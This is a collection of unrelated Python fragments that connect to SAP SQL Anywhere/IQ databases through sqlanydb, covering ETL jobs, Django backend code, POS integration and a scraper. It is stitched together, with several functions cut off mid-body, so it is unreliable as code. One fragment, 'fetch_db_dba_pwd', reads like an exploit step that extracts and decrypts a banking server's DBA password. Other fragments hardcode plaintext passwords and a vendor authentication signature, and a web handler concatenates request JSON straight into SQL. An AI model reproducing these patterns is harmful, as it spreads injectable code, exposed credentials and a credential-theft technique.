def saveData(data, host, utype):
if utype == "login":
tablename = "***************************"
tableformat = "(LoginIdApplied, Label, DateCreated)"
elif utype == "cookie":
tablename = "*****************************"
tableformat = "(VisitorId, Label, DateCreated)"
else:
print("'utype' not recognized: Trying to infer type of data...")
if np.any( list(data.columns).str.lower() == "loginidapplied" ):
utype = "login"
tablename = "********************"
tableformat = "(LoginIdApplied, Label, DateCreated)"
else:
utype = "cookie"
tablename = "********************************"
tableformat = "(VisitorId, Label, DateCreated)"
print("Derived type = '%s'. Attempting to write to dbtable." % utype )
filename = "data_"+str(utype)+".csv"
data.to_csv(filename, encoding="utf-8", sep=",", index=False)
clientfile = '\''+filename+'\''
separator = "\',\'"
sql = 'LOAD TABLE ' + tablename + ' ' + tableformat +\
' USING CLIENT FILE ' + clientfile +\
' QUOTES ON ESCAPES OFF strip off'\
' format bcp'\
' delimited by' + ' ' + separator +\
' row delimited by \'\n\''\
' skip 1;'
try:
conn = sqlanydb.connect(UID="*********", PWD="************", HOST=host)
cursor = conn.cursor()
cursor.execute(sql)
print("Data successfully written to database.")
except:
sys.exit( "Could not write data. Error code = %s: SystemExit." % str(sys.exc_info()[0]) )
finally:
cursor.close()
conn.commit()
conn.close()
try:
os.remove(filename)
except:
print("Could not remove file '%s'. Error code = %s." % (filename, str(sys.exc_info()[0])))
# Return to main()
return
def do_conn_iq(self,is_produccion): #is_produccion = 0 > false #is_produccion = 1 > true if is_produccion == 0: con = sqlanydb.connect( userid="<user_id>",password="******" ) elif is_produccion == 1: con = sqlanydb.connect( userid="<user_id>",password="******" )
def get_pdb(self):
if self.pdb != None: return self.pdb
self.pdb = sqlanydb.connect(**config.sqlany_pos_server)
#cur = pdb.cursor()
#cur.execute("SET TEMPORARY OPTION CONNECTION_AUTHENTICATION='Company=Intuit Inc.;Application=QuickBooks Point of Sale;Signature=000fa55157edb8e14d818eb4fe3db41447146f1571g7262d341128bbd2768e586a0b43d5568a6bb52cc'")
print 'PDB Connected'
return self.pdb
def writeData(data, sqltype, alias):
global __segmentationFile__
print(" Saving 'data' to %s." % __segmentationFile__)
data.to_csv(__segmentationFile__, encoding="utf-8", sep=",", index=False)
sql = makeSqlQuery(sqltype)
try:
host_ = "**************" if alias == "*******" else "*************"
con = sqlanydb.connect(UID="*********", PWD="*********", HOST=host_)
print(" Successfully connected to database at '%s'." % host_)
except:
sys.exit(" Could not connect to database '%s'. System exit." % host_)
cursor = con.cursor()
try:
cursor.execute(sql)
print(" Data successfully written: Returning to main().")
except:
sys.exit(" Could not execute query. System exit.")
cursor.close()
con.commit()
con.close()
try:
os.remove(__segmentationFile__)
except:
print(" Could not remove file '%s'." % __segmentationFile__)
return
def getClickstreamData(sqltype, alias="*******"):
try:
host_ = "**************" if alias == "*******" else "*************"
con = sqlanydb.connect(UID="*********", PWD="*********", HOST=host_)
print(" Successfully connected to database ******.")
except:
print(" Could not connect to IQ prod.")
sys.exit()
print(" Sql query type = %s" % sqltype)
cursor = con.cursor()
query = makeSqlQuery(sqltype)
if query != "":
try:
cursor.execute(query)
rows = cursor.fetchall()
except:
message = " Could not retrieve data."
sys.exit(message)
else:
print(" Query came back empty: Returning empty dataframe to main.")
return pd.DataFrame()
df = pd.DataFrame(rows)
desc = cursor.description
df.columns = [name[0] for name in desc]
cursor.close()
con.close()
return df
def datospost():
if request.headers['Content-Type'] == 'text/plain':
return "Text Mensaje: " + str(request.data)
elif request.headers['Content-Type'] == 'application/json':
conn = sqlanydb.connect(uid=uid,
pwd=pwd,
eng=eng,
host=host,
preFetchRows='15000')
curs = conn.cursor()
rows = request.json
for r in rows:
param = list(r.values())
#param = param[1:]
param = str(tuple(param)).replace('None', 'null')
columnas = list(r.keys())
#columnas = columnas[1:]
columnas = str(tuple(columnas))
columnas = columnas.replace("'", '')
sql = "insert into ventas_solintece_tmp " + columnas + " values" + param
curs.execute(sql)
curs.close()
conn.commit()
conn.close()
return "JSON Mensaje"
elif request.headers['Content-Type'] == 'application/octet-stream':
f = open('./binary', 'wb')
f.write(request.data)
f.close()
return "Dato binario!"
else:
return "415 Tipo no soportado ;)"
def pos_db():
c = g_db.get('pos')
if c != None: return (g_db.get('pos_cur'), g_db.get('pos_sur'))
c = g_db['pos'] = sqlanydb.connect(**g_pos_server)
cur = g_db['pos_cur'] = c.cursor()
sur = g_db['pos_sur'] = c.cursor()
return (cur, sur)
def connectES(host):
conn = sqlanydb.connect(UID=ct.SAUID,
PWD=ct.SAPWD,
HOST=host,
DBN=ct.SADatabase,
ENG=ct.SAServer)
return conn
def connect_to_db(username, password, dbname, host, port):
"""
Connect to IQ database and get connection and cursor.
:param username:
:param password:
:param dbname:
:param host:
:param port:
:param charset: Codepage setting of destination database
:return: connection to DB, and cursor.
"""
try:
conn = sqlanydb.connect(uid=username,
pwd=password,
dbn=dbname,
host=str(host) + ":" + str(port))
curs = conn.cursor()
# logger.info(f'connection and cursor created for database {database} on host {hostname}')
print(
f'connection and cursor created for database {dbname} on host {host}'
)
except Exception as e:
# logger.error('Error while connecting to database or getting a cursor')
print('Error while connecting to database or getting a cursor')
raise e
return conn, curs
def executeQuery(uid, pwd, host, query):
""" Module will attempt to connect to the database
a number of times if unsuccessful the first time. """
attempt = 0
exit_code = -1 # Will be set to 0 upon successful read
wait_time_min = 1
while attempt < 5:
try:
con = anydb.connect(UID=uid, PWD=pwd, HOST=host)
cursor = con.cursor()
cursor.execute(query)
exit_code = 0
break
except:
print("Attempt %i failed. \nError code: %s. \nWaiting for %i minute(s), then trying again."
% ((attempt+1), sys.exc_info()[1], wait_time_min))
time.sleep(wait_time_min * 60.)
attempt += 1
finally:
con.commit()
cursor.close()
con.close()
return exit_code
def call835Proc(self):
# run sql and output to a csv
conn = sqlanydb.connect(DSN="SSRXDEVIQ1")
curs = conn.cursor()
now = datetime.datetime.now()
date = now.strftime('%Y-%m-%d')
for processor_name in self.processors:
output_file = 'processor_835_extract_' + date + '_' + processor_name + '.csv'
output_file = output_file.replace(" ", "")
sql = """call ssrx.ssrx_835_report('""" + processor_name + """');"""
curs.execute(sql)
with open(output_file, 'w', newline='') as result:
rowset = curs.fetchall()
for row in rowset:
wtr = csv.writer(result, delimiter='|')
wtr.writerow((row[0], row[1], row[2], row[3]))
curs.close()
conn.close()
# convert csv to Excel spreadhseet
for file in glob.glob("*.csv"):
wb = openpyxl.Workbook()
ws = wb.active
f = open(file)
reader = csv.reader(f, delimiter='|')
for row in reader:
ws.append(row)
f.close()
file = file.replace(".csv", ".xlsx")
wb.save(file)
os.system('rm *.csv*')
def _cursor(self):
cursor = None
if not self._valid_connection():
kwargs = {}
links = {}
settings_dict = self.settings_dict
if settings_dict['USER']:
kwargs['uid'] = settings_dict['USER']
if settings_dict['NAME']:
kwargs['dbn'] = settings_dict['NAME']
if settings_dict['PASSWORD']:
kwargs['pwd'] = settings_dict['PASSWORD']
root = Database.Root('PYTHON')
try:
vers = root.api.sqlany_client_version()
ret = True
except:
length = 1000
buffer = ctypes.create_string_buffer(length)
ret = root.api.sqlany_client_version(
ctypes.byref(buffer), length)
vers = buffer.value
if ret:
vers = int(vers.split('.')[0])
else:
vers = 11 # assume old
host = settings_dict['HOST']
if host == '':
host = 'localhost' # "Set to empty string for localhost"
if host and vers > 11:
kwargs['host'] = host
try:
port = str(settings_dict['PORT'])
except:
port = None
if port:
kwargs['host'] += ':%s' % port
else:
if host:
links['host'] = host
if settings_dict['PORT']:
links['port'] = str(settings_dict['PORT'])
if len(links) > 0:
kwargs['links'] = 'tcpip(' + ','.join(
k + '=' + v for k, v in links.items()) + ')'
kwargs.update(settings_dict['OPTIONS'])
self.connection = Database.connect(**kwargs)
cursor = CursorWrapper(self.connection.cursor())
cursor.execute("SET OPTION PUBLIC.reserved_keywords='LIMIT'")
cursor.execute(
"SET TEMPORARY OPTION TIMESTAMP_FORMAT='YYYY-MM-DD HH:NN:SS.SSSSSS'"
)
connection_created.send(sender=self.__class__, connection=self)
if not cursor:
cursor = CursorWrapper(self.connection.cursor())
return cursor
def get_new_connection(self, conn_params):
conn = Database.connect(**conn_params)
if conn is not None and djangoVersion[:2] >= (1, 6):
# Autocommit is the default for 1.6+
curs = conn.cursor()
curs.execute("SET TEMPORARY OPTION chained='Off'")
curs.close()
return conn
def get_new_connection(self, conn_params):
conn = Database.connect(**conn_params)
if conn is not None and djangoVersion[:2] >= (1, 6):
# Autocommit is the default for 1.6+
curs = conn.cursor()
curs.execute("SET TEMPORARY OPTION chained='Off'")
curs.close()
return conn
def querydbtopandas(query):
try:
conn = sqlanydb.connect(uid = user_dw , pwd=, host=, dbn = db_dw, charset='utf8')
df = pd.read_sql(query,conn)
except Exception as err:
print("El error del SQL es: %s" % str(err))
finally:
conn.close()
return df
def db_qb():
cfg = config.sqlany_qb.copy()
dd = open(cfg['dbf'] + '.ND', 'rb').read()
nd = dict([ f_x.strip().split('=', 2) for f_x in dd[dd.find('[NetConnect]') + 12:].strip().split('\n') if f_x.strip()])
del cfg['dbf']
cfg['links'] = 'tcpip(host=%s:%s;DoBroadcast=None)' % (nd['ServerIp'], nd['ServerPort'])
cfg['ServerName'] = nd['EngineName']
cfg['dbn'] = nd['FileConnectionGuid']
return sqlanydb.connect(**cfg)
def connect():
try:
global _conn
if _conn is None:
_conn = sqlanydb.connect(userid="DBA",
password="******",
serverName=DB_SERVERNAME,
databasename=DB_NAME,
databasefile=DB_FILE)
return _conn
except:
logger.error("Failed to connect to database." +
"You may need to change the DB_FILE value in airbnb.py")
def query(server, db, query, user="", password=""):
""" TODO: write docstring"""
conn = sqlanydb.connect(DSN=server, uid=user, pwd=password, dbn=db)
try:
cur = conn.cursor()
cur.execute(query)
result_list = cur.fetchall()
conn.close()
return result_list
except Exception as exc:
conn.close()
print(exc)
raise
def connect():
try:
global _conn
if _conn is None:
_conn = sqlanydb.connect(
userid="dba",
password="******",
serverName=DB_SERVERNAME,
databasename=DB_NAME,
databasefile=DB_FILE)
return _conn
except:
logging.error(
"Failed to connect to database." +
"You may need to change the DB_FILE value.")
def ESCheck():
StatusCheck = []
for i in range(1, 43): #len(ClinicDict)+1
try:
esconn = sqlanydb.connect( #Establish Connection
UID=ct.SAUID,
PWD=ct.SAPWD,
HOST=ClinicDict[i],
DBN=ct.SADatabase,
ENG=ct.SAServer)
esconn.close() #Close Connection
StatusCheck.append("Clinic %s: Connection Success" % i)
except:
StatusCheck.append("Could not connect to Clinic %s at HOST: %s" %
(i, ClinicDict[i]))
return StatusCheck
def _connect_to_utility_db(self):
# Note: We don't use our standard double-quotes to "quote name"
# a database name when creating a new database
kwargs = {}
links = {}
settings_dict = self.connection.settings_dict
if settings_dict['USER']:
kwargs['uid'] = settings_dict['USER']
kwargs['dbn'] = 'utility_db'
if settings_dict['PASSWORD']:
kwargs['pwd'] = settings_dict['PASSWORD']
if settings_dict['HOST']:
links['host'] = settings_dict['HOST']
if settings_dict['PORT']:
links['port'] = str(settings_dict['PORT'])
kwargs.update(settings_dict['OPTIONS'])
if len(links) > 0:
kwargs['links'] = 'tcpip(' + ','.join(k+'='+v for k, v in links.items()) + ')'
return Database.connect(**kwargs)
def fs_to_cj(data):
data = [(f_x[1],) for f_x in data if f_x[0] == 'customer']
if not data: return
n = len(data)
dbc = sqlanydb.connect(**g_pos_server)
cur = dbc.cursor()
cur.execute("SET TEMPORARY OPTION CONNECTION_AUTHENTICATION='Company=Intuit Inc.;Application=QuickBooks Point of Sale;Signature=000fa55157edb8e14d818eb4fe3db41447146f1571g7262d341128bbd2768e586a0b43d5568a6bb52cc'")
try:
while data:
cur.executemany("insert into changejournal values(default,'Customer',?,1,now(),'POSX', '-1')", data[:500])
data = data[500:]
cur.execute('commit')
cur.close()
finally:
dbc.close()
print 'fs_to_cj: N(%d)' % (n, )
def executeQuery(uid_, pwd_, host_, query):
try:
con = sqlanydb.connect(UID=uid_, PWD=pwd_, HOST=host_)
except:
return None
cursor = con.cursor()
try:
cursor.execute(query)
df = pd.DataFrame(cursor.fetchall())
desc = cursor.description
df.columns = [name[0] for name in desc]
except:
print("Could not execute query. Error code: %s" % (sys.exc_info()[1]))
return None
finally:
con.commit()
cursor.close()
con.close()
return df
def _connect_to_utility_db(self):
# Note: We don't use our standard double-quotes to "quote name"
# a database name when creating a new database
kwargs = {}
links = {}
settings_dict = self.connection.settings_dict
if settings_dict['USER']:
kwargs['uid'] = settings_dict['USER']
kwargs['dbn'] = 'utility_db'
if settings_dict['PASSWORD']:
kwargs['pwd'] = settings_dict['PASSWORD']
if settings_dict['HOST']:
links['host'] = settings_dict['HOST']
if settings_dict['PORT']:
links['port'] = str(settings_dict['PORT'])
kwargs.update(settings_dict['OPTIONS'])
if len(links) > 0:
kwargs['links'] = 'tcpip(' + ','.join(
k + '=' + v for k, v in list(links.items())) + ')'
return Database.connect(**kwargs)
def ESGrab(host, query=None):
query = query or noquery #Use class query if no alternative
try:
esconn = sqlanydb.connect( #Establish Connection
UID=ct.SAUID,
PWD=ct.SAPWD,
HOST=host,
DBN=ct.SADatabase,
ENG=ct.SAServer)
escurs = esconn.cursor() #Create Cursor
try:
escurs.execute(query) #Execute query argument
esresults = escurs.fetchall() #Fetch results of query
escurs.close() #Close Cursor
esconn.close() #Close Connection
return esresults #Return stored results
except (sqlanydb.Error) as se:
print(se)
except (sqlanydb.Error) as ce:
print(ce)
print("Could not connect to HOST: %s" % host)
def writeToDatabase(table_name, table_format, filenames, dbhost):
written = 0
numfiles = len(filenames)
for filename in filenames:
client_file = "'"+filename+"'"
sql = "LOAD TABLE "+table_name+" "+table_format+\
" USING CLIENT FILE "+client_file+\
" QUOTES ON ESCAPES OFF STRIP OFF"\
" FORMAT BCP"\
" DELIMITED BY ','"\
" ROW DELIMITED BY '\n'"\
" skip 1;"
try:
con = sqlanydb.connect(UID='********', PWD='*********', HOST=dbhost)
except:
print("Could not connect to database. Error code = %s." % sys.exc_info()[1])
break
cursor = con.cursor()
try:
cursor.execute(sql)
written += 1
except:
print("Could not write '%s' to dbtable '%s'. \n\nError code = %s."
% (filename, table_name, sys.exc_info()[1]))
time.sleep(10)
continue
finally:
con.commit()
cursor.close()
con.close()
print("Wrote %i files to database '%s'. Number of files to write was: %i."
% (written, dbhost, numfiles))
return
def writeModeData(data, sqltype, alias):
# Implement column checks
for testcol in ["userid", "mode", "probactive", "idflag", "datekey"]:
if testcol not in list(data.columns.str.lower()):
sys.exit("writeData: '%s' column not found!" % testcol)
global __modeFile__
print("Saving 'data' to %s." % __modeFile__)
data.to_csv(__modeFile__, encoding="utf-8", sep=",", index=False)
sql = makeSqlQuery(sqltype)
try:
host_ = "***************" if alias == "******" else "**************"
con = sqlanydb.connect(UID="********", PWD="********", HOST=host_)
print("Successfully connected to database at '%s'." % host_)
except:
sys.exit("Could not connect to database '%s'. System exit." % host_)
cursor = con.cursor()
try:
cursor.execute(sql)
print("Data successfully written: Returning to main().")
except:
cursor.close()
con.commit()
con.close()
sys.exit("Could not execute query. System exit.")
cursor.close()
con.commit()
con.close()
try:
os.remove(__modeFile__)
except:
print("Could not remove file '%s'." % __modeFile__)
return
def executeQuery(sql, alias="*******"):
try:
host_ = "**************" if alias == "*******" else "*************"
con = sqlanydb.connect(UID="*********", PWD="*********", HOST=host_)
print(" Successfully connected to database at '%s'." % host_)
except:
print(" Could not connect to database %s.\n" % host_)
print(" ==> Returning empty dataframe.")
return pd.DataFrame()
cursor = con.cursor()
try:
cursor.execute(sql)
rows = cursor.fetchall()
except:
print("Could not execute query: Returning empty dataframe.")
return pd.DataFrame()
df = pd.DataFrame(rows)
desc = cursor.description
df.columns = [name[0] for name in desc]
cursor.close()
con.close()
print(" Returning dataframe with %i rows" % df.shape[0])
return df
def fetch_db_dba_pwd():
target_host=''+DB_HOST+':'+DB_PORT
print("[*] Trying to connect to the target server: "+target_host)
conn = sqlanydb.connect(
uid=DB_CONNECTOR_UID,
pwd=DB_CONNECTOR_PWD,
servername='ELBA5SRV',
host=target_host
)
print("[*] Extracting the secret key")
curs = conn.cursor()
curs.execute("SELECT DECRYPT(daten, '"+DB_DBA_ENCRYPTION_PWD+"', 'AES') FROM elbndba.connection")
# decode the result to a valid utf-8 string
decrypted_pwd=curs.fetchone()[0].decode("utf-8") ;
curs.close()
conn.close()
return decrypted_pwd;
def executeQueryReturnData(uid, pwd, host, query):
""" Module will attempt to connect to the database a number of times if unsuccessful the first time. """
attempt = 0
exit_code = -1 # Will be set to 0 upon successful read
wait_time_min = 10
while attempt < 5:
try:
con = anydb.connect(UID=uid, PWD=pwd, HOST=host)
cursor = con.cursor()
start_time = time.time()
cursor.execute(query)
rows = cursor.fetchall()
df = pd.DataFrame(rows)
del rows
desc = cursor.description
df.columns = [name[0] for name in desc]
end_time = time.time()
print("Query execution time = %.2f minutes. Row count = %i"
% ((end_time-start_time)/float(60), df.shape[0]))
exit_code = 0
break
except:
print("Attempt %i failed. \nError code: %s. \nWaiting for %i minute(s), then trying again."
% ((attempt+1), sys.exc_info()[1], wait_time_min))
time.sleep(wait_time_min * 60.)
attempt +=1
finally:
con.commit()
cursor.close()
con.close()
if exit_code == 0:
return df
else:
return None
import sqlanydb
host = 'localhost'
port = '2638'
dbname = 'dwh'
username = '******'
password = '******'
conn = sqlanydb.connect(uid=username,
pwd=password,
dbn=dbname,
host=str(host) + ":" + str(port))
class SqlResult(list):
"""Когда ответ от БД не простой list, а объект, то можно добавить к нему доп. инфо,
например добавить имена колонок из SELECT'а (делается в run_query)"""
def __init__(self, result):
super().__init__(result)
def connect_to_db(username, password, dbname, host, port):
"""
Connect to IQ database and get connection and cursor.
:param username:
:param password:
:param dbname:
:param host:
:param port:
:param charset: Codepage setting of destination database
:return: connection to DB, and cursor.
def connectES():
return sqlanydb.connect(UID=ct.SAUID,
PWD=ct.SAPWD,
HOST='10.20.11.250',
DBN=ct.SADatabase,
ENG=ct.SAServer)
import sqlanydb
#conn = sqlanydb.connect(dsn='SYBASE_IQ')
conn = sqlanydb.connect(dsn='dwhdb_eniq')
curs = conn.cursor()
curs.execute("select 'Hello, world!'")
print("SQL Anywhere says: %s" % curs.fetchone())
curs.close()
conn.close()
def __init__(self, p_db, connect = True):
'''
Parameter db="dbtype://*****:*****@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%s))(CONNECT_DATA=(SERVICE_NAME=%s)))"
s = s % (user, pwd, hostname, port, dbname)
self.db = cx_Oracle.connect(s)
self.cursor = self.db.cursor()
elif self.dbtype == "netezza":
# conn="DRIVER={MySQL ODBC 3.51 Driver}; SERVER=localhost; PORT=3306; DATABASE=mysql; UID=joe;
# PASSWORD=bloggs; OPTION=3;SOCKET=/var/run/mysqld/mysqld.sock;"
self.cursor = Connect(hostname, user, pwd)
elif self.dbtype in ["hana"]:
from hdbcli import dbapi
self.db = dbapi.connect(
address=hostname, port=30015+int(port), user=user, password=pwd, autocommit=True)
self.cursor = self.db.cursor()
elif self.dbtype in ["progress"]:
dsn = self.odbc(hostname, port, dbname)
self.db = pyodbc.connect(
dsn=dsn, user=user, password=pwd, autocommit=True)
self.cursor = self.db.cursor()
elif self.dbtype in ["zen"]:
# Example: driver={Pervasive ODBC Interface};server=localhost;DBQ=demodata'
# Example: driver={Pervasive ODBC Interface};server=hostname:port;serverdsn=dbname'
dsn = dbname
connString = "DRIVER={Pervasive ODBC Interface};SERVER=%s;ServerDSN=%s;UID=%s;PWD=%s;" % (
hostname, dsn, user, pwd)
if connect:
self.db = pyodbc.connect(connString, autocommit=True)
self.cursor = self.db.cursor()
elif self.dbtype in ["ingres", "vector", "vectorh", "actianx", "avalanche"]:
connString = "DRIVER={Ingres};SERVER=@%s,tcp_ip,%s;DATABASE=%s;SERVERTYPE=INGRES;UID=%s;PWD=%s;" % (
hostname, port, dbname, user, pwd)
if connect:
self.db = pyodbc.connect(connString, autocommit=True)
self.cursor = self.db.cursor()
else:
perror("Unknown_db_type", self.dbtype)
except Exception as ex:
self.logger.exception(ex)
# -*- coding: utf-8 -*-
import sqlanydb
user_id = 'dba'
password = '******'
dbname = 'tradesRPDB' # 'demo' # 'C:\Users\bob\Documents\tradesRPDB.db'
##conn.execute('insert into Login values("%s", "%s")' % \
## (user_id, password))
conn = sqlanydb.connect(uid=user_id, pwd=password, eng=dbname, dbn=dbname)
curs = conn.cursor()
curs.execute("select 'Connected to '")
print "SQL Anywhere says: %s" % curs.fetchone()
print dbname
tablename = 'Persons' #'tradesdbase'
tablename = 'tradesdbase'
# Execute a SQL string
sql = 'SELECT * FROM ' + tablename +' '
curs.execute(sql)
# Get a cursor description which contains column names
desc = curs.description
##for x in desc:
## print x
## for b in x:
## print b
####print desc
print len(desc)
# Fetch all results from the cursor into a sequence,
# display the values as column name=value pairs,
# and then close the connection
rowset = curs.fetchall()
import pandas as pd
from pandas import DataFrame
import sqlanydb
con = sqlanydb.connect( userid='dba', pwd='hell4min', servername='iqserver', host='localhost:2638' )
cursor = con.cursor()
select_query = 'SELECT * from core.crm_client'
crm_client = {'crm_client_id':['1','2','3','4'],
'name': ['Серик', None, 'Семен', 'Асланбек'],
'midname': ['sdf', 'sdfs', 'gdsd', 'kj'],
'surname': ['sdf', 'fgfd', 'rfv', 'tyh'],
'email': ['e', 'w', 'r', 't'],
'mobile_num': [3, 4, 5, 6],
'fio': ['a', 'f', 'k', 'g'],
'card_num': [2345, 542, 3456, 745],
'inn': [76, 56, 54, 34],
'comments':['f', 'd', 'e', 'f']
}
df = DataFrame(crm_client, columns= ['crm_client_id', 'name', 'midname','surname','email','mobile_num','fio','card_num','inn','comments'])
#print(df)
print(df.info())
df = df.applymap(str)
print(df.info())
# val = df.values.tolist()
#print(val)
# stmt2 = "insert into testy (v1) values (?)"
# list_of_lists = [[list1], [list2], [list3]]
# cs.executemany(stmt2, list_of_lists)
#
#[print(str(i)) for i in range(500000)]
def connectGetRawData(logging, uid="**********", passwd="**********", host="********************",
dbtable="*****************",
sourceDir="*************",
outputDataLoginFile="****************",
outputDataCookieFile="*****************",
outputWeightingFile="***********************",
date=00000000):
# Need to quickly parse the date
text = str(date)
thisDate = text[0:4] + "-" + text[4:6] + "-" + text[6:]
thisDate = "\'" + thisDate + "\'"
try:
con = sqlanydb.connect(UID=uid, PWD=passwd, HOST=host)
print("Successfully connected to database: " + host)
except:
message = "Could not connect to database: " + host + ". -- Exiting --"
logging.info(message)
sys.exit(message)
cursor = con.cursor()
sql = 'select c.* from '\
'(select (b.RelativeWeek-13) as startweek, b.RelativeWeek as endweek '\
'from (select FullDate, YearWeek, RelativeWeek, RelativeWeeksToToday from v_Date) b '\
'inner join (select ' + thisDate + ' as today) a '\
'on b.FullDate = a.today) c'
cursor.execute(sql)
desc = cursor.description
rowset = cursor.fetchall()
cursor.close()
weeklimits = pd.DataFrame(rowset)
weeklimits.columns = ('startweek', 'endweek')
cursor = con.cursor()
sql = "select * from v_Week"
cursor.execute(sql)
desc = cursor.description
res_list = [x[0] for x in desc]
rowset = cursor.fetchall()
Dateset = pd.DataFrame(rowset)
Dateset.columns = res_list
Dateset = Dateset[['RelativeWeek','WeekKey']]
A = pd.merge(weeklimits, Dateset, how='inner', left_on='startweek', right_on = 'RelativeWeek')
A.rename(columns={'WeekKey':'Starting_WeekKey'}, inplace=True)
B = pd.merge(weeklimits, Dateset, how='inner', left_on='endweek', right_on = 'RelativeWeek')
B.rename(columns={'WeekKey':'Ending_WeekKey'}, inplace=True)
StartingWeek = A.Starting_WeekKey.values[0]
EndingWeek = B.Ending_WeekKey.values[0]
headers = ["LoginIdApplied",
"WeekKey",
"MainFunction",
"FullFunction",
"PageViews",
"Applied",
"SomeConversion",
"AdId",
"VisitorId",
"LoginIdFlag"]
# Cosmetic
prefix = "dtab"
# Set headers
headers_temp = [prefix + "." + col + ", " for col in headers[:-1]]
headers_temp.append(prefix + "." + headers[len(headers)-1])
string_headers = "".join(headers_temp)
sql = ("select "+string_headers+" from "+dbtable+" "+prefix+" where WeekKey >= "
+str(StartingWeek)+" and WeekKey <= "+str(EndingWeek))
cursor.execute(sql)
desc = cursor.description
rowset = cursor.fetchall()
cursor.close()
print("Attempting to leverage data into data frame. This might take a while.")
rawData = pd.DataFrame(rowset)
rawData.columns = [name[0] for name in desc]
print("Data volume: (nrows, ncols) =",rawData.shape)
print("Number of weeks of data =",len(np.unique(rawData.WeekKey)))
data_loginid = rawData[rawData.LoginIdFlag == 1]
wantCols_loginid = ["LoginIdApplied"
,"WeekKey"
,"MainFunction"
,"FullFunction"
,"PageViews"
,"Applied"
,"SomeConversion"
,"AdId"]
data_loginid = data_loginid[wantCols_loginid]
data_cookie = rawData[rawData.LoginIdFlag == 0]
wantCols_cookie = ["VisitorId"
,"WeekKey"
,"MainFunction"
,"FullFunction"
,"PageViews"
,"Applied"
,"SomeConversion"
,"AdId"]
data_cookie = data_cookie[wantCols_cookie]
try:
data_loginid.to_csv("".join((sourceDir, outputDataLoginFile)),
sep=",", encoding="utf-8", index=False)
data_cookie.to_csv("".join((sourceDir, outputDataCookieFile)),
sep=",", encoding="utf-8", index=False)
logging.info("Raw data files successfully saved.")
except:
sys.exit("Saving raw data files failed: SystemExit.")
print("Attempting to calculate dynamic weights.")
cursor = con.cursor()
sql = "select megatable.fullfunction, avg(ads) "\
"from (select * from(select a.week, b.fullfunction "\
"from (select distinct \'1\' as a, d.Week from d_date d "\
"where d.YearWeek >= " + str(StartingWeek) + " and d.Yearweek <= " + str(EndingWeek) + ") a "\
"join (select distinct \'1\' as a, (acj.mainfunction+\'_\'+acj.subfunction) as Fullfunction "\
"from d_adclassifiedjob acj) b on a.a=b.a ) c "\
"left outer join (select d.Week as NewWeek, acj.mainfunction+'_'+acj.subfunction as NewFullfunction, "\
"count(ac.adid) as ads from d_adclassified ac "\
"join d_adclassifiedjob acj on ac.adclassifiedkey = acj.adclassifiedkey "\
"join d_Date d on ac.PublishDateKey = d.DateKey "\
"where d.YearWeek >= " + str(StartingWeek) + " and d.Yearweek <= " + str(EndingWeek) + " "\
"group by NewWeek, NewFullfunction) d "\
"on c.Week=d.NewWeek and c.Fullfunction = d.NewFullfunction) megatable "\
"group by megatable.Fullfunction "\
"order by megatable.Fullfunction"
try:
cursor.execute(sql)
desc = cursor.description
rowset = cursor.fetchall()
except:
sys.exit("Could not execute dynamic weights query: SystemExit.")
finally:
cursor.close()
con.close()
print("Attempting to leverage data into data frame.")
outputData = pd.DataFrame(rowset)
outputData.columns = ["FullFunction", "AVG"]
outputData.fillna(value=0., inplace=True)
outputData["AVG"] = outputData["AVG"].astype(float)
outputData["Total"] = outputData["AVG"].sum()
print("Done.")
try:
outputData.to_csv("".join((sourceDir, outputWeightingFile)),
sep=",", encoding="utf-8", index=False)
logging.info("Weights file successfully saved. Returning to main().")
except:
sys.exit("Saving weights file failed: SystemExit.")
return
import urllib.request import urllib.parse from lxml import html import sqlanydb import webbrowser #from PySide import QtGui #from PySide import QtCore #from PySide import QtWebKit #globals # logging.basicConfig(level=logging.INFO) logging.basicConfig(format='%(message)s', level=logging.INFO) conn = sqlanydb.connect( userid="DBA", password="******", serverName="airbnb", databasename="airbnb", databasefile="/home/tom/src/airbnb/db/airbnb.db", ) URL_ROOM_ROOT = "http://www.airbnb.com/rooms/" URL_HOST_ROOT="https://www.airbnb.com/users/show/" URL_TIMEOUT=10.0 FILL_MAX_ROOM_COUNT = 50000 SEARCH_MAX_PAGES = 25 SEARCH_MAX_GUESTS = 16 FLAGS_ADD=1 FLAGS_PRINT=9 FLAGS_INSERT_REPLACE=True FLAGS_INSERT_NO_REPLACE=False def add_survey(city):
#!/usr/bin/python
import matplotlib.pyplot as plt
import matplotlib.font_manager as fm
import matplotlib
import numpy as np
import sys, traceback
import logging
import sqlanydb as db
logging.basicConfig(format='%(message)s',
level=logging.INFO)
conn = db.connect(
userid="DBA",
password="******",
serverName="airbnb",
databasename="airbnb",
databasefile="/home/tom/src/airbnb/db/airbnb.db",
)
PIECHART_EXPLODE=0.05
class byhost:
sql = """
select
case
when multilister > 0.5 then 'Multiple'
else 'Single'
end as host_type,
count(*) hosts
from survey_host(@survey_id)
group by host_type
# ***************************************************************************
# Copyright (c) 2017 SAP SE or an SAP affiliate company. All rights reserved.
# ***************************************************************************
#######################################################################
# This sample code is provided AS IS, without warranty or liability
# of any kind.
#
# You may use, reproduce, modify and distribute this sample code
# without limitation, on the condition that you retain the foregoing
# copyright notice and disclaimer as to the original code.
#
#######################################################################
#
# This sample program contains a hard-coded userid and password
# to connect to the demo database. This is done to simplify the
# sample program. The use of hard-coded passwords is strongly
# discouraged in production code. A best practice for production
# code would be to prompt the user for the userid and password.
#
#######################################################################
import sqlanydb
con = sqlanydb.connect(userid='dba', password='******')
cur = con.cursor()
cur.execute('select count(*) from Employees')
assert cur.fetchone()[0] > 0
con.close()
print('sqlanydb successfully installed.')
def get_new_connection( self, conn_params ):
return Database.connect(**conn_params)
#r = requests.post(server_rest + '/insertpost', json=j)
#if r.status_code == requests.codes.ok:
# print('si')
#else:
# print('no')
cur.close()
conn.close()
host = '127.0.0.1'
eng = 'siaci_db'
pwd = '197304'
uid = 'dba'
conn2 = sqlanydb.connect(uid=uid,
pwd=pwd,
eng=eng,
host=host,
preFetchRows='15000')
curs = conn2.cursor()
rows = j
for r in rows:
param = list(r.values())
#param = param[1:]
param = str(tuple(param)).replace('None', 'null')
columnas = list(r.keys())
#columnas = columnas[1:]
columnas = str(tuple(columnas))
columnas = columnas.replace("'", '')
sql = "insert into ventas_solintece_tmp " + columnas + " values" + param
curs.execute(sql)
curs.close()
def db_pos():
return sqlanydb.connect(**config.sqlany_pos)
parse_mode=ParseMode.MARKDOWN_V2)
except ValidationError:
logger.critical(
"Bot token is invalid. Make sure that you've set a valid token in the .env file"
)
quit()
